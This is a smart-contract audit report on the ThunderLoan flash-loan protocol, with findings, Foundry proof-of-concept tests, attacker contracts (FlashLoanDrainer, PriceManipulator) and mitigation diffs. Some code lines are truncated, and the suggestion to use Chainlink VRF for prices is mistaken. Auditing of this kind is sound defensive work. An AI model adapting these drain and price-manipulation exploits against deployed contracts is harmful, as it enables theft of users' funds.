Title	Author	Date
ThunderLoan audit	@justAWanderkid	2024-07-13

Table of Contents

Protocol Summary

ThunderLoan allows Users To Take Out Flash Loans by Paying Fee Based on Amount they Take and Liquidity Providers Can Deposit their Assets to this Protocol and Get AssetToken in Return Which Gains Interest Overtime Depending on How Often People Take out Flash Loans.

Summary of Findings

Severity	Issue Count
High-Risk	5
Medium-Risk	1
Low-Risk	2
Informational	1

Findings

HIGH

[HIGH-1] Updating Exchange Rate in `deposit()` function Can Lead to Attacker Draining of Underlying Tokens.

Description: The `deposit()` function in the ThunderLoan contract updates the exchange rate after a deposit has been made. This behavior allows an attacker to exploit the exchange rate adjustment mechanism by continuously depositing and redeeming tokens. Each deposit updates the exchange rate, and by performing this in a loop, an attacker can drain the underlying tokens from the protocol.

Impact: An attacker can deplete the protocol's underlying token reserves. This vulnerability compromises the security of the protocol, leading to a significant loss of funds for the protocol and its users. As users' deposits can be drained, this would result in a loss of trust and potential financial damage to all parties involved.

Proof of Concept:

i Wrote Little Test Which Shows Attacker Deposits `DEPOSIT_AMOUNT = 1e21`, and then `redeem()`s right after it and gets more tokens.

```
    function testAttackerCanDepositAndRedeemAfterToDrainProtocolFunds() public setAllowedTok
        vm.startPrank(attacker);

        tokenA.mint(attacker, DEPOSIT_AMOUNT);
        tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
        thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);

        console.log("Attacker Deposited This Amount: ", DEPOSIT_AMOUNT);

        AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
        thunderLoan.redeem(tokenA, assetToken.balanceOf(attacker));

        console.log("Attacker Redeemed Right After it and Received: ", tokenA.balanceOf(atta

        vm.stopPrank();

        assert(tokenA.balanceOf(attacker) > DEPOSIT_AMOUNT);
    }
```

Run the Test With Following Command:

```
forge test --match-test testAttackerCanDepositAndRedeemAfterToDrainProtocolFunds -vvvv
```

Take a Look at the `Logs`:

```
Logs:
   Attacker Deposited This Amount:  10000000000000000000
   Attacker Redeemed Right After it and Received:  10015022466300549172 47
```

Recommended Mitigation:

Delete these lines from the `deposit()` function:

```
    function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNot
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

[HIGH-2] Incorrect Fee Calculation for Non-Standard ERC20 Tokens.

Description:

The `getCalculatedFee()` function calculates flash loan fees without accounting for varying token decimals, leading to disproportionately low fees for tokens like USDT and USDC with 6 decimals.

Impact:

Attacker Can Take Flash Loans Without Paying the Correct Fee Amount.

Proof of Concept:

Put the Following Test into the `ThunderLoanTest.t.sol`:

```
    function testCalculatedFeeForNonERC20TokenisMuchLessThanStandardERC20Token() external pu
        // USDT has 6 decimals so 1 USDT is equal to 1e9
        // WETH has 18 decimals so 1 WETH is equal to 1e18

        // Fee Calculation Formula in ThunderLoan.sol:
        // uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feel
        // fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;

        // User Takes 100 USDT Flash Loan
        uint256 ValueOfBorrowedUSDTinWeth = ((100 * 1e6) * 1e18) / 1e18;
        uint256 USDTfee = (ValueOfBorrowedUSDTinWeth * 1e15) / 1e18;

        // User Takes 100 WETH Flash Loan
        uint256 ValueOfBorrowedWETHinWeth = ((100 * 1e18) * 1e18) / 1e18;
        uint256 WETHfee = (ValueOfBorrowedWETHinWeth * 1e15) / 1e18;
```

```
        assert(USDTfee < WETHfee);

        console.log("Took out 100 USDT, and the Fee For it is: ", USDTfee);
        console.log("Took out 100 WETH, and the Fee For it is: ", WETHfee);
    }
```

And Run the Test:

```
forge test --match-test testCalculatedFeeForNonERC20TokenisMuchLessThanStandardERC20Token
```

Take a Look at the `Logs`:

```
Logs:
   Took out 100 USDT, and the Fee For it is:  100000
   Took out 100 WETH, and the Fee For it is:  100000000000000000
```

Recommended Mitigation:

Adjust the `getCalculatedFee` function:

```
function getCalculatedFee(uint256 amount) public view returns(uint256 fee) {
-     uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePreci
      fee = (amount * s_flashLoanFee) / s_feePrecision;
}
```

[HIGH-3] Attacker Can Drain ThunderLoan By Taking a Flash Loan and repaying with `deposit()` function and then call `redeem()` function.

Description:

An attacker can take a flash loan, use the borrowed tokens to deposit back into the protocol, receive AssetTokens, and then redeem them for more tokens than initially borrowed. This cycle drains the protocol's funds.

Impact:

This exploit allows an attacker to repeatedly deplete the protocol's token reserves, leading to significant financial loss for the protocol and its users.

Proof of Concept:

Attacker Contract Looks Like this:

```
contract FlashLoanDrainer {

   ThunderLoan thunderLoan;
   AssetToken assetToken;


   constructor(ThunderLoan _thunderLoan, AssetToken _assetToken) {
      thunderLoan = _thunderLoan;
```

```
        assetToken = _assetToken;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*  params */
    )
        external
        returns (bool)
    {
        IERC20(token).approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function drainThunderLoan(address _token) external {
        uint256 currentExchangeRate = assetToken.getExchangeRate();
        uint256 assetTokenExchangeRatePrecision = assetToken.EXCHANGE_RATE_PRECISION();
        uint256 ThunderLoanTokenABalance = IERC20(_token).balanceOf(address(assetToken));
        uint256 assetTokenAmountToSend = (assetTokenExchangeRatePrecision * ThunderLoanToke
        thunderLoan.redeem(IERC20(_token), assetTokenAmountToSend);
    }

}
```

and this is the Test i Wrote:

```
function testAttackerCanDrainFundsOfTheProtocolByTakingFlashLoanAndDepositingToProtocol(
    AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
    FlashLoanDrainer flashLoanDrainer = new FlashLoanDrainer(thunderLoan, assetToken);

    uint256 feeToPay = thunderLoan.getCalculatedFee(tokenA, DEPOSIT_AMOUNT);
    tokenA.mint(address(flashLoanDrainer), feeToPay);

    console.log("Attacker Contract inital Balance Should be The Amount that it's Needed
    console.log("Attacker Contract Balance Before Taking the Flash Loan With Token A: "
    console.log("ThunderLoan Contract Balance Before Attacker Takes the Flash Loan With

    thunderLoan.flashloan(address(flashLoanDrainer), tokenA, DEPOSIT_AMOUNT, "");
    flashLoanDrainer.drainThunderLoan(address(tokenA));

    console.log("Attacker Contract Balance of Token A After Draining ThunderLoan Contrac
    console.log("ThunderLoan Contract Balance After Getting Drained:", tokenA.balanceOf(
```

```
        assert(tokenA.balanceOf(address(flashLoanDrainer)) > tokenA.balanceOf(address(asset
    }
```

Run the Test with Following Command:

```
forge test --match-test testAttackerCanDrainFundsOfTheProtocolByTakingFlashLoanAndDep
```

Take a Look at the `Logs`:

```
Logs:
  Attacker Contract inital Balance Should be The Amount that it's Needed to Pay for the
  Attacker Contract Balance Before Taking the Flash Loan With Token A:  300000000000000
  ThunderLoan Contract Balance Before Attacker Takes the Flash Loan With Token A: 10000
  Attacker Contract Balance of Token A After Draining ThunderLoan Contract: 100299999999
  ThunderLoan Contract Balance After Getting Drained: 1
```

Recommended Mitigation:

add the following line to `deposit()` function so it cannot be called when a flash loan is taken:

```
    function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNot
+       require(!isCurrentlyFlashLoaning(token), "Token is Currently Flash Loaning.");
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
        uint256 calculatedFee = getCalculatedFee(token, amount);
        assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

[HIGH-4] Disabling Allowed Tokens Prevents Liquidity Providers from Redeeming Tokens.

Description:

The `setAllowedToken` function allows the owner to disable tokens, deleting their corresponding `AssetToken`. This prevents liquidity providers from redeeming their `AssetToken` for the original tokens they deposited.

Impact:

Liquidity providers will be unable to redeem their `AssetToken`, leading to potential financial losses and eroding trust in the protocol.

Proof of Concept:

Place the Following test inside the `ThunderLoanTest.t.sol`:

```
    function testSetAllowedTokenOnDepositedAsset() public setAllowedToken hasDeposits {
        AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
        console.log("ThunderLoan Contract Token A Balance: " ,tokenA.balanceOf(address(asset

        vm.startPrank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, false);
        vm.stopPrank();

        vm.startPrank(liquidityProvider);

        uint256 liquidityProviderAssetTokenbalance = assetToken.balanceOf(liquidityProvider)
        vm.expectRevert(abi.encodeWithSelector(ThunderLoan.ThunderLoan__NotAllowedToken.sele
        thunderLoan.redeem(tokenA, liquidityProviderAssetTokenbalance);

        vm.stopPrank();
    }
```

Run the Test with:

```
forge test --match-test testSetAllowedTokenOnDepositedAsset -vvvv
```

As You Can see when `liquidityProvider` Calls the `redeem()` function, it gets reverted.

Recommended Mitigation:

Refactor the `setAllowedToken()` function so it looks like this:

```
    function setAllowedToken(IERC20 token, bool allowed) external onlyOwner returns (AssetTo
        if (allowed) {
            if (address(s_tokenToAssetToken[token]) != address(0)) {
                revert ThunderLoan__AlreadyAllowed();
            }
            string memory name = string.concat("ThunderLoan ", IERC20Metadata(address(token)
            string memory symbol = string.concat("tl", IERC20Metadata(address(token)).symbol

            AssetToken assetToken = new AssetToken(address(this), token, name, symbol);
            s_tokenToAssetToken[token] = assetToken;

            emit AllowedTokenSet(token, assetToken, allowed);
            return assetToken;

        } else {
              AssetToken assetToken = s_tokenToAssetToken[token];
+             require(assetToken.totalSupply() == 0, "Cannot disable the Given Token.");
              delete s_tokenToAssetToken[token];
              emit AllowedTokenSet(token, assetToken, allowed);
              return assetToken;
```

```
        }
    }
```

[HIGH-5] Storage Collision Between `ThunderLoan.sol` and `ThunderLoanUpgraded.sol`

Description:

The contracts `ThunderLoan.sol` and `ThunderLoanUpgraded.sol` exhibit a storage collision issue. In `ThunderLoan.sol`, the storage layout is defined as:

```
uint256 private s_feePrecision;
uint256 private s_flashLoanFee;
```

In `ThunderLoanUpgraded.sol`, the storage layout is defined as:

```
uint256 private s_flashLoanFee; // 0.3% ETH fee
uint256 public constant FEE_PRECISION = 1e18;
```

When upgrading from `ThunderLoan` to `ThunderLoanUpgraded`, the variable `s_flashLoanFee` in `ThunderLoan.sol` will be overwritten by the constant `FEE_PRECISION` in `ThunderLoanUpgraded.sol`. This results in a storage collision that can corrupt the state of the contract and lead to unexpected behavior.

Impact:

The storage collision will result in the misalignment of the storage slots. Specifically, the value of `s_feePrecision` in `ThunderLoan.sol` will be overwritten by the value `s_flashLoanFee` in `ThunderLoanUpgraded.sol`, leading to the following issues: - The value of `s_flashLoanFee` will be incorrectly set to `1e18`, leading to incorrect fee calculations. - The value of `s_feePrecision` will be lost, causing potential failures or incorrect behaviors in functions relying on it.

Proof Of Concept:

You Take A Look at Contracts Storage Layout Using `forge`:

```
forge inspect <CONTRACT_NAME> storage
```

Recommended Mitigation: To prevent storage collision, ensure that the storage layouts of `ThunderLoan` and `ThunderLoanUpgraded` match. Specifically: - Retain the variable `s_feePrecision` in `ThunderLoanUpgraded` in the same storage slot as in `ThunderLoan`. - Ensure that all new variables are added to the end of the storage layout.

Revised storage layout for `ThunderLoanUpgraded.sol`:

```
uint256 private s_feePrecision;
uint256 private s_flashLoanFee; // 0.3% ETH fee
uint256 public constant FEE_PRECISION = 1e18;
```

MEDIUM

[MED-1] Attacker Can Take Advantage of Price Manipulation Vulnerability in `getPriceInWeth` Function to Take Flash Loan With Paying Much Less Fee.

Description: The `getPriceInWeth` function in `OracleUpgradable.sol` fetches the price of a token in WETH by querying the pool's price. This price can be manipulated by an attacker through sending large amounts of WETH or the pool's token to the pool.

Impact: An attacker can artificially inflate or deflate the price of the token, affecting the flash loan fee calculation and Can take the Second Flash Loan With Paying Much Less Fee.

Proof of Concept:

The Way `getPriceInWeth()` function gives us Each Token Price in WEth is it Gets the Pool Address Associated with that particular token from Tswap and Checks the Constant Ratio of it.

This Means if We Have `100 WETH` and `100 Token A` in That Pool, it Means `1 Token A` is Equal to `1 WETH`. Now If Attacker Sends `900 Token A` to that Pool and now We Have `1000 Token A` and `100 WETH`, Each `Token A` is Equal to `0.1 WETH`. So Attacker Manipulated The Price and Now Can Take the Flash Loan With Much Less Fee.

Add this Test To `ThunderLoanTest.t.sol`:

```
function testPriceOfFeeCalculationInFlashLoanCanBeManipulated() public setAllowedToken ha
    // MockTSwapPool Returns 1e18 WETH for Each Token A
    // If Attacker Sends Large Amounts Of Token A to that Pool, The Price of Token A Wi
    // First Lets take a Flash Loan When Price of Each Token A is Equal to 1e18.

    PriceManipulator priceManipulator = new PriceManipulator(thunderLoan, tokenA);
    tokenA.mint(address(priceManipulator), 2e18);
    uint256 firstFlashLoanFee = thunderLoan.getCalculatedFee(tokenA, 1e10);
    thunderLoan.flashloan(address(priceManipulator), tokenA, 1e10, "");

    // Attacker Sends Huge Amounts of Token A to TSwap Pool Which Causes the Price of E

    thunderLoan.setPrice(address(tokenA), 1e15);
    uint256 secondFlashLoanFee = thunderLoan.getCalculatedFee(tokenA, 1e10);
    thunderLoan.flashloan(address(priceManipulator), tokenA, 1e10, "");

    console.log("First Flash Loan Fee: ", firstFlashLoanFee);
    console.log("Second Flash Loan Fee: ", secondFlashLoanFee);

    assert(firstFlashLoanFee > secondFlashLoanFee);
```

```
    }
```

and this is the Flash Loan Receiever Contract:

```
    contract PriceManipulator {

        ThunderLoan thunderLoan;
        ERC20Mock tokenA;
        MockTSwapPool tswapPool;

        bool isFirstFlashLoan = true;
        uint256 public secondFlashLoanFee;

        constructor(ThunderLoan _thunderLoan, ERC20Mock _tokenA) {
            thunderLoan = _thunderLoan;
            tokenA = _tokenA;
        }

        function executeOperation(
            address token,
            uint256 amount,
            uint256 fee,
            address /*initiator*/,
            bytes calldata /*  params */
        )
            external
            returns (bool)
        {
            if (isFirstFlashLoan) {
                    IERC20(token).approve(address(thunderLoan), amount + fee);
                    IThunderLoan(address(thunderLoan)).repay(token, amount + fee);
                    isFirstFlashLoan = false;
                    return true;
            } else {
                    secondFlashLoanFee = fee;
                    IERC20(token).approve(address(thunderLoan), amount + fee);
                    IThunderLoan(address(thunderLoan)).repay(token, amount + fee);
                    return true;
            }
        }

    }
```

You Can Run the Test By Following Command:

```
forge test --match-test testPriceOfFeeCalculationInFlashLoanCanBeManipulated -vvvv
```

take a Look at the Logs:

```
Logs:
   First Flash Loan Fee:  30000000
   Second Flash Loan Fee:  30000
```

Recommended Mitigation:

- Use Chainlink VRF to Get Price of an Token in WEth.

LOW

[LOW-1] Incorrect Initial Exchange Rate Leads to Incorrect Mint Amount Calculation

Description: In the `ThunderLoan.sol` contract, within the `deposit` function, the initial exchange rate is assumed to be obtained from the `AssetToken` contract's `getExchangeRate` function. However, the expected starting exchange rate should be `2e18` as per the `AssetToken` contract documentation which states that each `AssetToken` is equivalent to 2 underlying tokens. The current implementation initializes the `s_exchangeRate` to `1e18`, leading to incorrect mint amount calculations.

Impact: This incorrect initial exchange rate results in the wrong calculation of the amount of `AssetToken` minted when a deposit is made. Users depositing tokens may receive fewer `AssetTokens` than expected, leading to a loss in value and potential user distrust.

Recommended Mitigation: Set the `STARTING_EXCHANGE_RATE` in `AssetToken.sol` to `2e18` to align with the expected exchange rate. This ensures that the initial mint calculations are accurate and reflect the intended value of 1 `AssetToken` being equal to 2 underlying tokens. Modify the constructor in `AssetToken.sol` as follows:

```
// Change STARTING_EXCHANGE_RATE to 2e18
uint256 private constant STARTING_EXCHANGE_RATE = 2e18;
```

[LOW-2] `initialize()` Function Vulnerable to Front-Running Bots

Description: The `initialize()` function in `ThunderLoan.sol` is vulnerable to front-running, allowing bots to invoke it before the intended user, potentially compromising the contract's initialization.

Impact: Unauthorized control over the contract's initialization can lead to incorrect or malicious configuration, resulting in potential financial loss or operational issues.

Recommended Mitigation:

the Deployment Script Should Be Like This to Call the `initialize()` function Right After Deploying:

```
contract DeployThunderLoan is Script {

    ERC1967Proxy proxy;

    function run() public {
        vm.startBroadcast();
        ThunderLoan thunderLoan = new ThunderLoan();
        bytes memory data = abi.encodeWithSignature("initialize(address)", <TSWAP_ADDRESS>)
        proxy = new ERC1967Proxy(address(thunderLoan), data);
        vm.stopBroadcast();
    }
}
```

INFORMATIONAL

[INFO-1] `s_feePrecision` Should Be Constant

Description:

The `s_feePrecision` variable is set during initialization and never changes, indicating it should be constant.

Impact:

Using a constant improves gas efficiency and clarifies the value's immutability.

Recommended Mitigation:

Declare `s_feePrecision` as a constant:

```
uint256 private constant s_feePrecision = 1e18;
```